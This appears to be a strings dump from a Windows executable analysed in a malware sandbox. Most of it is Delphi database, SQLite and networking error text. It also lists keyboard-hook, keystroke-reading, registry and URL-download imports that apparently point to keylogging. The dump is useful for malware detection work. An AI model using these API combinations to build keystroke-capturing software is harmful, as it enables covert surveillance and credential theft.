
CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);

PRAGMA %Q.page_size

,%s(x.'c%d%q')

FROM '%q'.'%q%s' AS x

,%s(?)

unrecognized parameter: %s

unrecognized matchinfo: %s

unrecognized order: %s

error parsing prefix parameter: %s

missing %s parameter in fts4 constructor

SELECT %s WHERE rowid = ?

malformed MATCH expression: [%s]

SELECT %s ORDER BY rowid %s

illegal first argument to %s

porter

unknown tokenizer: %s

SELECT %s WHERE rowid=?

INSERT INTO %Q.'%q_content' VALUES(%s)

%s_segments

SELECT %s

unrecognized matchinfo request: %c

%d %d %d %d

CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))

CREATE TABLE x(%s

%s, %s

%s {%s}

?456789:;

!"#$%&'()* ,-./0123

10000000000000000010

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

RegQueryInfoKeyA

RegOpenKeyExW

RegFlushKey

RegEnumKeyExA

RegDeleteKeyA

RegCreateKeyExA

GetCPInfo

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

crtdll_wrapper

KWindows

UrlMon

rSqlTimSt

.uADStanAsync

%uADPhysCmdPreprocessor

uADPhysSQLiteMeta

uADPhysSQLiteCli

sndkey

DISQLite3Database

gDISQLite3Api

IdTCPServer

0IdHTTPHeaderInfo

The procedure entry point %s could not be located in the dynamic link library %s

The ordinal %u could not be located in the dynamic link library %s

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

hXXp://VVV.w3.org/2001/XMLSchema

hXXp://VVV.w3.org/2000/xmlns/

hXXp://VVV.w3.org/2001/XMLSchema-instance

888816666554443

6666554443

!6666554443

CRefresh is only supported if the FileName or XML properties are set

Unnamed)"%s" DOMImplementation already registered

No matching DOM Vendor: "%s"

Node "%s" not found

IDOMNode required.Attributes are not supported on this node type

Invalid node type Mismatched paramaters to RegisterChildNodes Element does not contain a single text node4DOM Implementation does not support IDOMParseOptions

CArray-typed variable [%s] item index [%d] is out of bounds [%d, %d]

Cannot describe type [%d].

%sHSQLite library initialization failed. Main code [%d], extended code [%d]/Database specified by [%p] handle was not foundHVTab: Invalid number of arguments at VTabCreate. Expected [%d], got [%d](VTab: Dataset [%s] is not found or empty VTab: Operation is not supported!VTab: Savepoint [%d] is not found!VTab: Dataset modification failed/VTab: Explicit ROWID at INSERT is not supported9VTab: Dataset state was changed. Cannot perform operation"VTab: Specified row does not exist

VTab: Invalid cursor;TADLocalSQL must be attached to an active SQLite connection0VTab: DataSet [%s] is busy by another result set/Cannot perform action. DBTOOLn.DLL is not found

ZUnsupported OCI library [%s] version [%s].

At least version 8.0.3 is required (NOE2/INIT)0Bad or undefined variable param type (NOE12/VAR)5Maximum length (%d) of GTRID exceeded - %d (NOE18/TX)5Maximum length (%d) of BQUAL exceeded - %d (NOE19/TX)@Maximum length (%d) of transaction name exceeded - %d (NOE20/TX)@Too many close braces in names file after alias [%s] (NOE105/DB)0[%s] is not a callable PL/SQL object (NOE130/SP)2[%s, #%d] is not found in [%s] package (NOE134/SP)TParameter with type TABLE OF BOOLEAN/RECORD not supported (use TADQuery) (NOE135/SP)KParameter with type RECORD must be of named type (use TADQuery) (NOE142/SP))Cannot convert Oracle Number [%s] to TBcd7DBMS_PIPE event alerter supports only single event name9Cannot start a trace session, when there is an active one"Stored procedure [%s] is not founduArray-typed variable [%s] dimensions [%d] are not supported.

Only sigle dimensional simple type arrays are supportedqArray-typed variable [%s] unsupported element type [%d].

Only sigle dimensional simple type arrays are supported

"VARIABLE has unsupported data typeÃŠnnot execute command. Not logged onlNo script commands registered.

Possible reason: uADCompScriptCommands unit is not linked to the application`No script to execute for [%s].

Possible reason: SQLScriptFileName and SQLScripts both are empty Connection parameter [%s] must be not empty|DbExpress driver configuration file [%s] is not found.

Possible reason: dbExpress is not properly installed on this machineUUnsupported MySQL version [%d].

Supported are client and server from v 3.20 to v 6.2

Port number cannot be changed&Error in parameter [%s] definition. %sFFailed to initialize embedded server.

See MySQL log files for details/Variable [%s] C data type [%d] is not supported

No cursors availableCCannot initialize OCI with character set [%s].

Possible reason: %s1Cannot assign value to BFILE/CFILE parameter [%s]HNo cursor parameters are defined. Include fiMeta into FetchOptions.Items9OCI is not properly installed on this machine (NOE1/INIT)

Cannot read [%s] property

Cannot read [%s] object#Cannot read RAW data of [%s] object

Class [%s] is not registered

Unknown storage format [%s]"Cannot move file [%s] to [%s].

%s!Invalid date interval format [%s]ÃŠnnot execute host command [%s].

%s)String size must be of 1 character length.Character cannot be alphanumeric or whitespace

Invalid command [%s] syntax-ACCEPT statement must specify a variable name,DEFINE requires a value following equal sign

;Destination text data file name or stream must be specified6Source text data file name or stream must be specified=Text field [%s] size is undefined in Fixed Size Record format"Text field [%s] name is Duplicated5Bad text value [%s] format for mapping item [%s].

%s?Undefined source field or expression for destination field [%s]

Timeout expired"Cannot get access to BLOB raw datahVariable length data parameter [%s] overflow.

Value length - [%d], parameter data maximum length - [%d]PCannot perform nonblocking action, while other nonblocking action is in progress

Macro [%s] is not found7Parameter [%s] value index [%d] is out of range [0..%d]mCannot acquire item (connection) from pool.

Maximal number [%d] of simultaneous items (connections) reached.@.

To register it, you can drop component [%s] into your project>.

To register it, you can include unit [%s] into your project

Connection [%s] is not found

Possible reason: [%s] ConnectionName property is misspelled or references to nonexistent connection$Command [%s] must be in active state&Command [%s] must be in inactive state*Dataset [%s] must be in cached update moderConnection is not defined for [%s].

Connection [%s] must be online

Table adapter [%s] cannot be assigned to [%s], because it is

already assigned to [%s] and cannot be shared across few datasets6Dataset connection does not match to called connection Table [%s] must have primary keyWLocal SQL engine misusage by [%s].

Hint: activate connection before activating dataset=Table [%s] index [%s] must be existing non-expressional index

Dataset name must be not empty?Dataset name [%s] must be unique across Local SQL [%s] datasets

Text field [%s] is not found

GCannot deinstall a SQLite collation, while there are active connections?%s command %s [%d] instead of [1] record.

Possible reasons: %saupdate table does not have PK or row identifier,

record has been changed/deleted by another user

ADManager must be active#Connection name [%s] must be unique Connection [%s] must be inactive

Connection [%s] must be active)Connection [%s] establishment is canceled

Connection [%s] cannot be pooled.

Possible reason: connection definition is not in the ADManager.ConnectionDefs list or

TADConnection.Params has additional parameters

zParameter [%s] data type is unknown.

Hint: specify TADParam.DataType or assign TADParam value before Prepare/Execute call)Parameter [%s] data type is not supported&Column [%s] data type is not supported

Param [%s] type changed from [ft%s] to [ft%s]. Query must be reprepared.

Possible reason: an assignment to a TADParam.AsXXX property implicitly changed the parameter data type.

Hint: use the TADParam.Value or appropriate TADParam.AsXXX property1A meta data argument [%s] value must be specified

Expected number of parameters is [%d], but actual number is [%d].

Possible reason: a parameter was added or deletedsData too large for variable [%s]. Max len = [%d], actual len = [%d]

Hint: set the TADParam.Size to a greater value

Database [%s] does not exist

Access 2003 or earlier: hXXp://support.microsoft.com/kb/239114

Access 2007: hXXp://VVV.microsoft.com/download/en/details.aspx?displaylang=en&id=23734

Access 2010: hXXp://VVV.microsoft.com/download/en/details.aspx?id=13255{JRO.JetEngine class is missing on client machine.

Hint: install latest engine from: hXXp://support.microsoft.com/kb/239114aDatabase format is not recognized.

Possible reason: DBVersion value mismatches database version.&Specified database password is invalid

Unknown OLE error1To perform operation DriverLink must be specified To perform operation service must be active

vCannot load vendor library [%s].

%sHint: check it is in the PATH or application EXE directories, and has x86 bitness./Cannot get vendor library entry point[s].

Connection must be inactive*Too many login retries. Allowed [%d] times1To perform operation driver manager, must be [%s]

Character [%s] is missed

Too long identifier (> 255)6Parameter [%s] ArraySize [%d] is less than ATimes [%d]=Cannot perform action, because previous action is in progress%Escape function [%s] is not supported8Define(mmReset) is only supported for metainfo retrieval6Cannot generate update query. WHERE condition is empty4Cannot generate update query. Update table undefined

Cannot parse object name - [%s])Syntax error in escape function [%s].

%shADPhysManager shutdown timeout.

NTo register it, you can drop component [TADPhys%sDriverLink] into your project5Correct driver ID or define [%s] virtual driver in %seDriver ID is not defined.

Set TADConnection.DriverName or add DriverID to your connection definition

Capability is not supported

Transaction [%s] must be activeCTransaction [%s] must be inactive. Nested transactions are disabled

Hint: use Execute / ExecSQL method for non-SELECT commands!Command must be is prepared state]Cannot execute command returning result sets.

Hint: use Open method for SELECT-like commands!Command must be open for fetching/Exact %s [%d] of rows, while [%d] was requested

7Cannot perform operation on unidirectional dataset [%s]LBookmark key fields [%s] are incompatible

with dataset [%s] key fields [%s] Record editing for dataset [%s] is disabled-Record inserting for dataset [%s] is disabled,Record deleting for dataset [%s] is disabled=Field [%s] specified within %s of DataSet [%s] does not existeCannot set dataset [%s] to offline mode.

Hint: check that FetchOptions.AutoFetchAll is not afDisable|Cannot turn off cached updates mode for DataSet [%s].

Hint: dataset has updated rows, cancel or apply updates before action.Cannot make definition [%s] circular reference7Cannot %s definition [%s]. It has associated connection!Cannot make definition persistent9Cannot load definition list, because it is already loaded$Definition [%s] is not found in [%s]"Definition name [%s] is duplicated"Driver [%s] is not registered.

%sXDriver [%s] cannot be released.

Expected [%s].Arithmetic in filter expressions not supported>Operation cannot mix aggregate value with record-varying value

%s&Bookmark is not found for dataset [%s]

View [%s] is not a sorted view"Adapter interface must be suppliedUCannot set MasterSource for dataset [%s].

Nested datasets cannot have a MasterSourceMCannot set MasterSource for dataset [%s].

Circular datalinks are not alloweduCannot refresh dataset [%s].

Cannot open dataset [%s].

Hint: if that is TADMemTable, use CreateDataSet or CloneCursor to open dataset(Index [%s] is not found for dataset [%s],Aggregate [%s] is not found for dataset [%s]6Index [%s] definition is not complete for dataset [%s]:Aggregate [%s] definition is not complete for dataset [%s]

FAssigning value [%s] is not compatible with column [%s] data type.

%s,Value [%s] is out of range of [%s] data typeuColumn or function [%s] is not found.

Invalid use of keyword

Invalid character found [%s]

'(' expected but [%s] found"')' or ',' expected but [%s] found

')' expected but [%s] found"IN predicate list may not be empty

)Column [%s] is not reference to other row'Column [%s] is not reference to row set&Cannot perform operation for row state4Cannot change updates registry for DatS manager [%s]"Too many aggregate values per view9Grouping level exceeds maximum allowed for aggregate [%s]XVariable length column [%s] overflow.

Value length - [%d], column maximum length - [%d]

Invalid foreign key [%s]

Invalid unique key [%s]#Cannot change column [%s] data type

Invalid relation [%s](Cannot create parent view. Relation [%s]7Cannot change table [%s] structure, when table has rows;Found a cascading actions loop at checking foreign key [%s]

Column [%s] must have blob value_Fixed length column [%s] data length mismatch.

Value length - [%d], column fixed length - [%d]

Column [%s] is read only

Cannot insert row into table"Column [%s] value must be not null4Duplicate row found on unique index. Constraint [%s]/Cannot process - no parent row. Constraint [%s]2Cannot process - child rows found. Constraint [%s]

Cannot compare rowsÃšta type conversion is not supported

Column [%s] is not searchable=Row may have only single column of [dtParentRowRef] data typewCannot read data from or write data to the invariant column [%s].

%s is not a valid BCD value

Invalid format type for BCD$Could not parse SQL TimeStamp string

Invalid SQL date/time values

FireDAC Login#Name [%s] is duplicated in the list

Object [%s] is not found(Column [%s] type is unknown or undefined

Constraint [%s]

Cannot begin edit row'Cannot create child view. Relation [%s]

/Lookup information for field '%s' is incomplete

DataSource cannot be changed0Cannot perform this operation on an open dataset"Dataset not in edit or insert mode1Cannot perform this operation on a closed dataset1Cannot perform this operation on an empty dataset!Cannot modify a read-only dataset#Nested dataset must inherit from %s

Parameter '%s' not found

Unable to load bind parameters$Field '%s' is of an unsupported type

SQL not supported: %s

Execute not supported: %s1Operation not allowed on a unidirectional dataset

E%g is not a valid value for field '%s'. The allowed range is %g to %gE%s is not a valid value for field '%s'. The allowed range is %s to %s0'%s' is not a valid integer value for field '%s'0'%s' is not a valid boolean value for field '%s'7'%s' is not a valid floating point value for field '%s'6Type mismatch for field '%s', expecting: %s actual: %s6Size mismatch for field '%s', expecting: %d actual: %d Invalid variant type or size for field '%s'#Value of field '%s' is out of range

Field '%s' must have a value

Field '%s' has no dataset1Field '%s' cannot be a calculated or lookup field

Field '%s' cannot be modified

No index currently active0Field '%s' is not indexed and cannot be modified"Circular datalinks are not allowed

No help keyword specified.

Invalid FieldKind Field '%s' is of an unknown type

Duplicate field name '%s'

Field '%s' not found#Cannot access field '%s' as type %s

Invalid value for field '%s'

No help found for %s#No context-sensitive help installed$No topic-based help system installed

Alt Clipboard does not support Icons/Menu '%s' is already being used by another form

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Windows 8.1

Windows Server 2012 R2

Invalid MMF name "%s"*The MMF named "%s" cannot be created empty

Win32 error: %s (%u)%s%s

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

Unsupported clipboard format

128-Byte PrefetchingeCPUID leaf 2 does not report cache descriptor information, use CPUID leaf 4 to query cache parameters

SSL status: "%s"

Host field is empty(Failed to get ANSI replacement character#Unable to open key "%s\%s" for read0Unable to open key "%s\%s" and access value "%s"#"%s\%s\%s" is of wrong kind or size

"%s" does not match RootKey

Not Acceptable(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.$Error accepting connection with SSL.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

File "%s" not found

Object type not supported.

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.

Reply Code is not valid: %s4Failed attempting to retrieve time zone information.

5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Command not supported.

Address type not supported."%d: Circular links are not allowed

1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Invalid Port Range (%d - %d)

%s is not a valid service.

IPv6 unavailable:The requested IPVersion / Address family is not supported.

End of stream: Class %s at %d)UDP is not support in this SOCKS version.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Socket operation on non-socket.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

Resolving hostname %s.

Connecting to %s.

Socket Error # %d

Operation would block.

Operation now in progress.

Operation already in progress.

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list

%s expected$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Invalid stream operation

Error*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)

Invalid property type: %s

Invalid data type for '%s'

Line too long List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

%s on line %d

Error reading %s%s%s: %s

Failed to create key %s

Failed to get data for '%s'

ECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

'%s' is an invalid mask at (%d)$''%s'' is not a valid component name

Invalid property element: %s

Ancestor for '%s' not found

Cannot assign a %s to a %s

''%s'' expected

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Interface not supported

%s (%s, line %d)

Operation aborted(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid date

'%s' is not a valid time!'%s' is not a valid date and time '%d.%d' is not a valid timestamp

'%s' is not a valid GUID value

I/O error %d

%original file name%.exe_1036_rwx_00400000_002C5000: